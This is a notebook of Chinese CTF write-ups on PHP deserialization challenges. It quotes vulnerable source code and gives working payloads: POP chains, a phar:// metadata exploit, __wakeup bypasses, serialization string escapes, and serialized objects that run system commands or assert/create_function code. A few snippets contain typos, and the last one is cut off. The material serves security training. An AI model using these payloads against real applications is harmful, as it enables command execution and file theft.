序列化和反序列化刷题记录
BUU CODE REVIEW\
*反序列化 md5
<?php
/*** Created by PhpStorm.* User: jinzhao* Date: 2019/10/6* Time: 8:04 PM*/highlight_file(__FILE__);class BUU {public $correct = "";public $input = "";public function __destruct() {try {$this->correct = base64_encode(uniqid());if($this->correct === $this->input) {echo file_get_contents("/flag");}} catch (Exception $e) {}}
}if($_GET['pleaseget'] === '1') {if($_POST['pleasepost'] === '2') {if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {unserialize($_POST['obj']);}}
}
第一层
post get
?pleaseget=1
pleasepost=2
第二层
md5漏洞,
第三层
反序列
php代码执行完毕之后调用__destruct()魔术方法,因此我们可以通过控制变量correct和input达成目的
可以让correct和input的地址相同,这样不管其中任意一个变量发生变化,另外一个也同步变化,实现$this->correct===$this->input
为永真
???
<?phpclass BUU {public $correct = "";public $input = "";public function __destruct() {try {$this->correct = base64_encode(uniqid());if($this->correct === $this->input) {echo file_get_contents("/flag");}} catch (Exception $e) {}}
}
$a=new BUU();
var_dump($a);
//object(BUU)#1 (2) {// ["correct"]=>
// string(0) ""
// ["input"]=>
// string(0) ""
//}
$a->correct=&$a->input;
var_dump($a);
//object(BUU)#1 (2) {// ["correct"]=>
// &string(0) ""
// ["input"]=>
// &string(0) ""
//}
echo serialize($a);
?>//O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
//R即实现了两个变量的地址相等
payload:
?pleaseget=1pleasepost=2&md51=QNKCDZO&md52=s878926199a&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
[CISCN]Dropbox
*pop链 phar://
尝试随意上传一个文件,发现只能上传图片或者gif文件,抓包改Type绕过后缀限制
通过抓包下载页面,发现存在任意文件包含,但是访问index.php
的时候发现显示不存在该文件,可能是跳转了目录,所以可以向上跳转目录,发现向上跳转两次的时候可以下载网页源码文件
可以有:
index.php
、login.php
、upload.php
、download.php
、class.php
任意文件包含
可以通过抓包,一般都会有index.php所以可以通过访问目录来下载文件,获取其他源码文件
index.php
<?php
session_start();
if (!isset($_SESSION['login'])) {header("Location: login.php");die();
}
?><?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();?>
通过查看FileList发现并不存在Name和Size函数,但是并没有报错,可以看class.php文件发现,有__call函数,所以在没有发现Name和Size函数的时候会转到File类中,发现了Name和Size函数
算是一个小hint
login.php
<?php
session_start();
if (isset($_SESSION['login'])) {header("Location: index.php");die();
}
?><?php
include "class.php";if (isset($_GET['register'])) {echo "<script>toast('注册成功', 'info');</script>";
}if (isset($_POST["username"]) && isset($_POST["password"])) {$u = new User();$username = (string) $_POST["username"];$password = (string) $_POST["password"];if (strlen($username) < 20 && $u->verify_user($username, $password)) {$_SESSION['login'] = true;$_SESSION['username'] = htmlentities($username);$sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";if (!is_dir($sandbox)) {mkdir($sandbox);}$_SESSION['sandbox'] = $sandbox;echo("<script>window.location.href='index.php';</script>");die();}echo "<script>toast('账号或密码错误', 'warning');</script>";
}
?>
class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);class User {public $db;public function __construct() {global $db;$this->db = $db;}public function user_exist($username) {$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");$stmt->bind_param("s", $username);$stmt->execute();$stmt->store_result();$count = $stmt->num_rows;if ($count === 0) {return false;}return true;}public function add_user($username, $password) {if ($this->user_exist($username)) {return false;}$password = sha1($password . "SiAchGHmFx");$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");$stmt->bind_param("ss", $username, $password);$stmt->execute();return true;}public function verify_user($username, $password) {if (!$this->user_exist($username)) {return false;}$password = sha1($password . "SiAchGHmFx");$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");$stmt->bind_param("s", $username);$stmt->execute();$stmt->bind_result($expect);$stmt->fetch();if (isset($expect) && $expect === $password) {return true;}return false;}public function __destruct() {$this->db->close();}
}class FileList {private $files;private $results;private $funcs;public function __construct($path) {$this->files = array();$this->results = array();$this->funcs = array();$filenames = scandir($path);$key = array_search(".", $filenames);unset($filenames[$key]);$key = array_search("..", $filenames);unset($filenames[$key]);foreach ($filenames as $filename) {$file = new File();$file->open($path . $filename);array_push($this->files, $file);$this->results[$file->name()] = array();}}public function __call($func, $args) {array_push($this->funcs, $func);foreach ($this->files as $file) {$this->results[$file->name()][$func] = $file->$func();}}public function __destruct() {$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';$table .= '<thead><tr>';foreach ($this->funcs as $func) {$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';}$table .= '<th scope="col" class="text-center">Opt</th>';$table .= '</thead><tbody>';foreach ($this->results as $filename => $result) {$table .= '<tr>';foreach ($result as $func => $value) {$table .= '<td class="text-center">' . htmlentities($value) . '</td>';}$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';$table .= '</tr>';}echo $table;}
}class File {public $filename;public function open($filename) {$this->filename = $filename;if (file_exists($filename) && !is_dir($filename)) {return true;} else {return false;}}public function name() {//得到文件名return basename($this->filename);}public function size() {//得到文件大小$size = filesize($this->filename);$units = array(' B', ' KB', ' MB', ' GB', ' TB');for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;return round($size, 2).$units[$i];}public function detele() {unlink($this->filename);}public function close() {//读取文件return file_get_contents($this->filename);//如果我们的文件名为空,就可以达到任意文件读取}
}
?>
download.php
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
//只能打开当前文件,还有etc系统文件
//但是当在实行删除文件的时候,也需要找到文件所在处,所以我们可以从删除文件下手chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {//如果文件名中有‘flag’出现就不能读取//这就要求我们要利用File类里面的close函数达到任意文件读取Header("Content-type: application/octet-stream");Header("Content-Disposition: attachment; filename=" . basename($filename));echo $file->close();
} else {echo "File not exist";
}
POP链
通过一条链实现对无法直接引用的函数进行引用
$a=new FileList();
$a->close() => $a->call(close)
$a->file=new File('/flag')
$a->file->close();
因为没有魔法函数,所以没办法直接实现对close函数的引用
在查找的时候发现还有一个user类的close,当在销毁的时候会执行$db->close()
达到关闭数据库,那么如果把$db变成FileList类里面的对象,则就可以实现对close函数的引用
构造:
phar://
实现对所要内容的序列化和反序列化
<?php
class User{public $db;function __construct(){$this->db=new FileList(); //将db改成FileList类里面的对象}Class FileList{private $files;private $results;private $funcs;function __construct(){$this->files=[new File('/flag.txt')]; //因为前面说又flag就会被过滤,那么flag应该就在flag文件里面$this->results=[];$this->funcs=[];}}class File{public $filename;function __construct($name){$this->filename=$name;}}
}
$a=new User();
$phar=new Phar('test.phar');
$phar->strartBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
根据构造出来的phar文件,先进行修改后缀之后进行文件上传,在删除界面利用phar协议进行反序列化,读取flag文件的内容,注意由于repeater之后文件就会被删除所以要在第一次传入repeater的时候就直接利用
AREYOUSERIALIZE
*序列化
0x01:
源码:
<?phpinclude("flag.php");
highlight_file(__FILE__);
class FileHandler {protected $op;protected $filename;protected $content;function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}
}
function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}
if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}
}
0x02:
先看最后一段代码,得知我们需要以get方式传一个str字符串参量,如果每个字符ascii码都在32到125之间时就对字符串进行反序列化
is_valid() 用于判断字符范围
if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}}
之后来查看类FileHandler
__construct() 对象创建时会自动调用,因此一开始类里面定义的对象都赋了初值,并执行了process函数
process() 对象op为1的时候执行write函数,为2时执行read函数、output函数
write() 在文件中写入数据
read() 读取文件里面的数据
uoput() 输出内容
__destruct() 在对象销毁后,或者php代码执行完毕之后自动调用函数
1.由源码文件包含中可知,存在flag.php
文件,所以flag可能就在该文件中 //filename=“flag.php”
2.我们可以通过调用read函数读取flag.php文件里面的数据
3.调用read函数即要先调用process函数且op’的值为2 //op=2
4.所以通过改变类FileHandler里面的对象值,并进行序列化之后赋值给str
payload:
<?php
class FileHandler {public $op=2;public $filename='flag.php';public $content;function __construct() {}public function process() {}private function write() {}private function read() {}private function output($s) {}function __destruct() {}
}
$a=new FileHandler();
echo serialize($a);
payload:
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
NiZhuanSiWei
*php伪协议 序列化
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){echo "Not now!";exit(); }else{include($file); //useless.php //useless.php$password = unserialize($password);echo $password;}
}
else{highlight_file(__FILE__);
}
?>
?text=data:text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
<?php class Flag{ //flag.php public $file='flag.php'; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");} }
}
$a=new Flag();
echo serialize($a);
?> //O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
__tostring() 当对象被当作字符串时自动调用函数
password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
此时我们要执行后面的反序列化函L数,前面的include里面如果是php伪协议
flag{07acaa0a-b733-4e93-8572-6964218864fb}
UNSERIALIZE1
class xctf{public $flag = '111';
public function __wakeup(){exit('bad requests');
}
}
$a=new xctf();
echo serialize($a);//O:4:"xctf":1:{s:4:"flag";s:3:"111";}
因为有__wakeup魔术方法,要绕过,当类中属性个数出错的时候不会停止解析但是魔术方法将不会执行,达到绕过的效果
payload:
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
<?php
error_reporting(0);
highlight_file(__FILE__);
class Person{public $username='peguin';public $password='123456';public $file;public function __construct($username,$password){$this->username = $username;$this->password = $password;}public function __destruct(){// TODO: Implement __destruct() method.echo "your file is ".$this->file;}}
class Human{public $a;public function __construct($a){$this->a = $a;}public function __toString(){if(preg_match('/ls|cat|more|flag/i',$this->a)){// TODO: Implement __toString() method.die('姿势骚一点');}else{system($this->a); //}return ("good");}
}$a = $_GET['code']; //?code=
unserialize($a);
?>
<?php
error_reporting(0);
highlight_file(__FILE__);
class Person{public $username='peguin';public $password='123456';public $file;public function __construct($username,$password){}public function __destruct(){// TODO: Implement __destruct() method.echo "your file is ".$this->file;}}
class Human{public $a;public function __construct($a){}public function __toString(){if(preg_match('/ls|cat|more|flag/i',$this->a)){// TODO: Implement __toString() method.die('姿势骚一点');}else{system($this->a);}return ("good");}
}$b=new Person();
$b->file=new Human();
$b->file->a="c\at /f\lag";
echo serialize($b);
payload:
O:6:"Person":3:{s:8:"username";s:6:"peguin";s:8:"password";s:6:"123456";s:4:"file";O:5:"Human":1:{s:1:"a";s:11:"c\at /f\lag";}}
UNSERIALIZE2
*反序列化字符串逃逸
<?php
highlight_file(__FILE__);
class HZNU{private $username;private $password;public function __construct($user,$pass){$this->username=$user;$this->password=$pass;}public function login(){if ($this->password==='admin'){include 'flag.php';echo $flag;}}
}
function filter($str){return str_replace('yang','jiang',$str);
}
$username=$_GET['user'];
$password=$_GET['pass'];
if(preg_match('/admin/',$password)){//简单的正则匹配绕过die('你在想屁吃');
}
$a=new HZNU($username,$password);
$s=filter(serialize($a));
$b=unserialize($s);
$b->login();
?>
0x01:
代码审计:
#当password为admin的时候返回flag
public function login(){if ($this->password==='admin'){include 'flag.php';echo $flag;}}
#如果有yang则替换成jiang,但是由于字符长度不相等,出现了序列化字符串逃逸
#那我们可以利用字符串逃逸,在上传参数时实现我们的目的
function filter($str){return str_replace('yang','jiang',$str);
}$s=filter(serialize($a));
0x02:
已知要实现序列化字符串逃逸
O:4:"HZNU":2:{s:14:"HZNUusername";s:185:"yangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyang";s:14:"HZNUpassword";s:5:"admin";}";s:14:"HZNUpassword";s:6:"ad\min";}
根据字符串长度为185,则要实现替换之后jiang组成的字符串长度为185,以实现后面的字符串逃逸
而在反序列的时候遇到;}
就结束了,达到了password=admin的目的
payload:
?user=yangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyangyang";s:14:"%00HZNU%00password";s:5:"admin";}&pass=ad\min
UNSERIALIZE4
<?php
class test{public $peguin;public $source;public $filepublic function __construct($file){$this->source = $file;echo 'welcome to '.$this->source."<br>";}public function __toString(){return $this->peguin->close();}public function __wakeup(){if(preg_match('/http|file|data|dict|\.\./i',$this->source)){echo "hacker!";$this->source = "index.php";}}
}
class good{public $joker;public function __call($name,$param){system($this->joker);}
}
?>
0x01:先验知识
__call() 当所调用的成员方法不存在(或者没有权限)该类时调用,用于对错误后做一些操作或者提示信息
__call() //在对象上下文中调用不可访问的方法时触发
__wakeup()函数 该魔术方法在反序列化的时候自动调用,为反序列化生成的对象做一些初始化操作 (这题要绕过这个魔术方法
0x02:代码审计
#public function __construct($file){$this->source = $file;echo 'welcome to '.$this->source."<br>";}
#当用到__toString魔术方法的时候会调用close方法,但是close方法并没有定义,或者是被没有权限调用,这个时候就会自动调用__call魔术方法,实现命令执行 public function __toString(){return $this->peguin->close();}
#这样就要求$this->source必须是字符串public function __wakeup(){if(preg_match('/http|file|data|dict|\.\./i',$this->source)){echo "hacker!";$this->source = "index.php";}}public function __call($name,$param){system($this->joker);}
#wakeup魔术方法有漏洞
public function __wakeup(){if(preg_match('/http|file|data|dict|\.\./i',$this->source)){echo "hacker!";$this->source = "index.php";}}
0x03:解题
分析完代码之后的答题思路:
1.peguin=new good();
2.$this->source是字符串 然后调用__toString 返回没有定义的close() 3.调用了__call 执行system
wakeup在反序列化之前立即调用
而在调用这个函数的时候,如果source是一个字符串就会进行正则匹配,但如果source是一个类,则会先去找到source指向的类,php会先去寻找这个类中的__toString
这个方法,那么就可以把source指向test类,执行test里面的方法
但是source又是字符串所以可以
$source=new test('');
因为之前在source这个点上卡住了,没想到指向类test再寻找toString方法,想着直接让source是字符串了 感谢姜少的poc
姜少的poc:
<?php
class test{public $peguin;public $source;public function __construct($file){$this->source =$file;$this->peguin = new good();}
}
class good{public $joker;public function __construct(){$this->joker = 'tac flag.php';}
}
$a = new test(new test(''));
echo urlencode(serialize($a));
?>
看了姜少的poc之后才想起来做过类似的题目
([MRCTF]ezpop
[BJDC]EZPHP
*运用到的姿势’’
//$_SERVER['QUERY_STRING'] 不进行解码 <?php
if($_SERVER){echo '$_SERVER[\'QUERY_STRING\']='._SERVER['QUERY_STRING']."<br>";echo '$_SERVER[\'REQUEST_URI\']='.$_SERVER['REQUEST_URI']."<br>";
}//preg_match %0a匹配绕过
//$_REQUEST post可以覆盖get
//data://text/plain, 的利用
//sha1() 数组绕过//create_function代码注入
<?php$func=creat_function($str1,$str2);//$func=function($str1){// $str2//}$func=function($a){$a=$a+2;echo $a;}eval($_GET['a']); //实现代码注入}//code injection
0x00:
查看网页源码发现base32编码,解码后访问得到php代码
<?php
highlight_file(__FILE__);
error_reporting(0); $file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";if($_SERVER) { if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']) //编码绕过) die('You seem to want to do something bad?');
}if (!preg_match('/http|https/i', $_GET['file'])) {if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";}
} else die('fxck you! What do you want to do ?!');if($_REQUEST) { foreach($_REQUEST as $valLue) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); }
} if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|infoLbin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else { include "flag.php";$code('', $arg);
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
fxck you! I hate English!
0x01:
要将payload所有字符进行url编码绕过
注意传参时=
和&
符号不能进行编码
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
0x02:
根据preg_match()换行绕过 即debu要匹配到"aqua_is_cute"但和这个字符串又不相同,则可在最后加一个换行
if (!preg_match('/http|https/i', $_GET['file'])) {if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";}
} else die('fxck you! What do you want to do ?!');
0x03:
foreach
用于遍历数组,正则匹配要求上传的参量不能有字母,而post传参会把get传参覆盖,所以可以再post
debu=1&file=1
if($_REQUEST) { foreach($_REQUEST as $valLue) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); }
}
0x04:
file_get_contents — 将整个文件读入一个字符串
由于file_get_contents
函数,可以使用data://text/plain,
协议
file=data://text/plain,debu_debu_aqua
if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
0x05:
sha1函数漏洞–数组绕过
shana[]=1&passwd[]=2
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
0x06:
在上一个if语句,sha1函数绕过之后,对flag参量进行了extract变量覆盖,而因为code和arg无法通过get或者post方式传参,所以可以将code和arg变为flag参量的键
flag[code]=&flag[arg]=
而由代码可知,code是一个函数,那么我们可以利用creat_function
函数漏洞实现代码注入,而arg即要注入的代码
flag[code]=creat_function
//因为文件包含了flag.php所以可能会存在flag变量,所以可以通过函数返回变量
get_defined_vars — 返回由所有已定义变量所组成的数组
flag[arg]=}var_dump(get_defined_vars());//
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|infoLbin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else { include "flag.php";$code('', $arg);
} ?>
之后在传包的时候出现错误了,就没有再进行下去,找时间复现一下
/?
debu=aqua_is_cute
&file=data://text/plain,debu_debu_aqua&shana[]=1&passwd[]=2&flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//
[安洵杯]easy_serialize_php
*反序列化字符串逃逸
参考:
https://www.cnblogs.com/h3zh1/p/12732336.html
https://www.cnblogs.com/buchuo/p/12996511.html
https://www.cnblogs.com/zhwyyswdg/p/13999865.html
<?php
$function = @$_GET['f'];
function filter($img){$filter_arr = array('php','flag','php5','php4','fl1g');$filter = '/'.implode('|',$filter_arr).'/i';return preg_replace($filter,'',$img);
}
if($_SESSION){unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){$_SESSION['img'] = base64_encode('guest_img.png');
}else{$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){highlight_file('index.php');
}else if($function == 'phpinfo'){eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){$userinfo = unserialize($serialize_info);echo file_get_contents(base64_decode($userinfo['img']));
}
0x01:代码审计
#字符串替换,导致可以利用字符串逃逸
function filter($img){$filter_arr = array('php','flag','php5','php4','fl1g');$filter = '/'.implode('|',$filter_arr).'/i';return preg_replace($filter,'',$img);
}$serialize_info = filter(serialize($_SESSION));
而这次被替换之后字符串长度减少,所以可以通过键逃逸和值逃逸
#变量覆盖
if($_SESSION){unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
#img_path有定义的时候还会进行sha1加密,而后面只有base64_decode,所以不用改变
#而可以利用字符串逃逸将img的值改为我们像读取的文件的base64加密值
if(!$_GET['img_path']){$_SESSION['img'] = base64_encode('guest_img.png');
}else{$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
if($function == 'phpinfo'){eval('phpinfo();'); //maybe you can find something in here!
}
#利用file_get_contents实现读取d0g3_f1ag.php文件
if($function == 'show_image'){$userinfo = unserialize($serialize_info);echo file_get_contents(base64_decode($userinfo['img']));
}
0x02:解题
利用键逃逸:
大佬的payload:
$_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
serialize:
a:2:{s:7:"flagphp";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
因为关键字被替换成空,所以flagphp
被替换成";s:48:
,实现了字符串逃逸
即键";s:48:
对应一个字符串1
,键img
对应ZDBnM19mMWFnLnBocA==
,反序列化再遇到}
之后结束,那之后的字符串被丢弃了达到了修改img值的目的
将img的值修改为/d0g3_fllllllag
的base64加密L2QwZzNfZmxsbGxsbGFn
得到flag
[NPUCTF]ReadlezPHP
*反序列化
view-source之后发现
那么就直接访问/time.php?source
得到php源码:
<?php
class HelloPhp
{public $a;public $b;public function __construct(){$this->a = "Y-m-d h:i:s";$this->b = "date";}public function __destruct(){$a = $this->a;$b = $this->b;echo $b($a);}
}
$c = new HelloPhp;
echo serialize($c);
if(isset($_GET['source']))
{highlight_file(__FILE__);die(0);
}
@$ppp = unserialize($_GET["data"]);
代码审计:
#当对象被销毁的时候会执行 $b($a)
#由此我们可知$b会是一个函数
#$a是我们要执行的代码
public function __destruct(){$a = $this->a;$b = $this->b;echo $b($a);}
poc:
<?php
class HelloPhp
{public $a;public $b;public function __construct(){$this->a = "phpinfo()";$this->b = "assert";}
}
$c = new HelloPhp;
echo serialize($c);
//O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
payload:
?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
ctrl+f搜索flag即可找到flag
CTF-SHOW-UNSERIALIZE
web254
0x01:
查看php代码:
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){if($this->username===$u&&$this->password===$p){//对象的值与函数传入的值相等时返回true$this->isVip=true;}return $this->isVip;}public function vipOneKeyGetFlag(){if($this->isVip){ //如果返回true则输出flag,因此我们要实现$this->isVip返回true,往上面一看发现与login()函数有关global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = new ctfShowUser();if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}
0x02:
if(isset($username) && isset($password)){$user = new ctfShowUser();if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}
要求我们用get方式传参username和password,利用三个自定义函数是实现输出flag
0x03:
payload:
?username=xxxxxx&password=xxxxxx
web255
0x01:
php代码:
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']); if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}
前面和web254一样,只有在user变成了对cookie传参进行反序列化
0x02:
<?php
class ctfShowUser{public $isVip=true;}
$user=new ctfShowUser();
echo serialize($user);
?>//O:11:"ctfShowUser":1:{s:5:"isVip";b:1;}
payload:
cookie:
user=O:11:"ctfShowUser":1:{s:5:"isVip";b:1;}?username=xxxxxx&password=xxxxxx
web258
源码:
<?php
class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public $class = 'info';public function __construct(){$this->class=new info();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}
}
class info{public $user='xxxxxx';public function getInfo(){return $this->user;}
}
class backDoor{public $code;public function getInfo(){eval($this->code);}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){$user = unserialize($_COOKIE['user']);}$user->login($username,$password);
}
0x01:代码审计
public function __construct(){$this->class=new info();}class info{public $user='xxxxxx';public function getInfo(){return $this->user;}
}public function __destruct(){$this->class->getInfo();}class backDoor{public $code;public function getInfo(){eval($this->code);}
}
类info和backDoor有相同的自定义函数getInfo,而我们要利用eval,所以应该要使用第二个函数,因此class应该将backDoor实例化
还要把private改成public
class ctfShowUser{public $class;public function __construct(){$this->class=new backDoor();}
}
class backDoor{public $code='system("ls");';public function getInfo(){eval($this->code);}
}
$a=new ctfShowUser();
echo serialize($a);
但是这次有正则的限制
f(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){$user = unserialize($_COOKIE['user']);}
即在O后面不能有数字,只要在数字前加一个+
就可以绕过了
ls之后发现flag.php,之后修改$code='system("cat flag.php");'
就可以得到flag了
web262
*反序列化字符串逃逸
*替换之后导致序列化长度变长
反序列化字符串逃逸:
浅谈php序列化字符串逃逸
<?php
error_reporting(0);
class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){$msg = new message($f,$m,$t);$umsg = str_replace('fuck', 'loveU', serialize($msg));setcookie('msg',base64_encode($umsg));echo 'Your message has been sent';
}
highlight_file(__FILE__);
message.php
highlight_file(__FILE__);
include('flag.php');
class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}
if(isset($_COOKIE['msg'])){$msg = unserialize(base64_decode($_COOKIE['msg']));if($msg->token=='admin'){echo $flag;}
}
0x01:代码审计
根据message.php文件,得知当token为admin的时候返回flag
if($msg->token=='admin'){echo $flag;}
payload:
<?php
class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}
$f = 1;
$m = 1;
$t = 'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
$msg = new message($f,$m,$t);
